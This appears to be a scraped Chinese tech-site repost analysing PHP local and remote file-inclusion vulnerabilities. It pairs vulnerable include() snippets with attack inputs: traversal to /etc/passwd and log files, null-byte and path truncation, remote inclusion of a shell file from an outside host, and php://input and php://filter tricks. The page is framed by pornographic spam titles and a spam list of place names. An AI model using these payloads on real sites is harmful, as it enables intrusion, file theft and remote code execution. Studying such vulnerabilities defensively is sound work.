国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 開發 > PHP > 正文

關于PHP文件包含一些漏洞分析

2024-05-04 21:48:18
字體:
來源:轉載
供稿:網友

文章簡單的分析了在php文件包含時inlcude的一個漏洞分析,下面希望對大家有點用處.

基本的文件包含漏洞,代碼如下:

  1. <?php include(“includes/” . $_GET['file']); ?> 
  2. * 包含同路徑下的文件: 
  3. file=.htaccess 
  4. * 路徑遍歷: 
  5. file=../../../../../../../../../var/lib/locate.db 
  6. (該文件非常有趣因為它允許你搜索文件系統) 
  7. * 包含注入PHP代碼的文件: 
  8. file=../../../../../../../../../var/log/apache/error.log 
  9. (you can find other possible Apache dirs here and other ways here. Think about all possible logfiles, file uploads, session files etc.) 

受限的本地文件包含如下代碼:

  1.  <?php include(“includes/” . $_GET['file'] . “.htm”); ?> 
  2. * 空字符注入(Null Byte Injection): 
  3. file=../../../../../../../../../etc/passwd%00 
  4. (需要magic_quotes_gpc=off) 
  5. * 列目錄(Null Byte Injection): 
  6. file=../../../../../../../../../var/www/accounts/%00 
  7. (僅限BSD, 需要magic_quotes_gpc=off,詳細信息here) 
  8. *路徑截斷(Path Truncation): 
  9. file=../../../../../../../../../etc/passwd........... … 
  10. (詳細信息參見 here 和 here) 
  11. * 點號截斷: 
  12. file=../../../../../../../../../etc/passwd……………. … 

僅限Windows,更多細節參見here

基本的遠程文件包含,代碼如下:

  1. <?php include($_GET['file']); ?>
  2. * 包含遠程代碼(Including Remote Code):
  3. file=[http|https|ftp]://websec.wordpress.com/shell.txt 
  4. (需要 allow_url_fopen=On 和 allow_url_include=On) 
  5. * 使用php輸入流(Using PHP stream php://input): 
  6. file=php://input 
  7. (specify your payload in the POST parameters, watch urlencoding, details here, requires allow_url_include=On) 
  8. * 使用PHP過濾函數(Using PHP stream php://filter): 
  9. file=php://filter/convert.base64-encode/resource=index.php 
  10. (lets you read PHP source because it wont get evaluated in base64. More details here and here) 
  11. * Using data URIs: 
  12. file=data://text/plain;base64,SSBsb3ZlIFBIUAo= 
  13. (需要 allow_url_include=On) 
  14. * 用于跨站腳本攻擊(Using XSS): 
  15. //開源代碼Vevb.com 
  16. file=http://127.0.0.1/path/xss.php?xss=phpcode 
  17. (makes sense if firewalled or only whitelisted domains allowed) 

受限的遠程文件包含漏洞,代碼如下:

  1. <?php include($_GET['file'] . “.htm”); ?> 
  2. * file=http://websec.wordpress.com/shell 
  3. * file=http://websec.wordpress.com/shell.txt? 
  4. * file=http://websec.wordpress.com/shell.txt%23 
  5. (需要 allow_url_fopen=On 和 allow_url_include=On) 

靜態遠程文件包含漏洞,代碼如下:

  1. <?php include(“http://192.168.1.10/config.php”); ?> 
  2. * 中間人攻擊(Man In The Middle) 
  3. (lame indeed, but often forgotten) 

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 屯门区| 西华县| 泰州市| 鸡西市| 饶阳县| 黄石市| 喀喇沁旗| 潮安县| 阿瓦提县| 仪征市| 曲麻莱县| 临猗县| 宝清县| 彰武县| 富宁县| 溧阳市| 台南市| 胶南市| 达日县| 祁门县| 长宁县| 新河县| 汕头市| 航空| 梅河口市| 仁化县| 江阴市| 巴林右旗| 神池县| 青河县| 喜德县| 中牟县| 达拉特旗| 凤山县| 额尔古纳市| 龙门县| 安宁市| 阿合奇县| 阿鲁科尔沁旗| 驻马店市| 奉化市|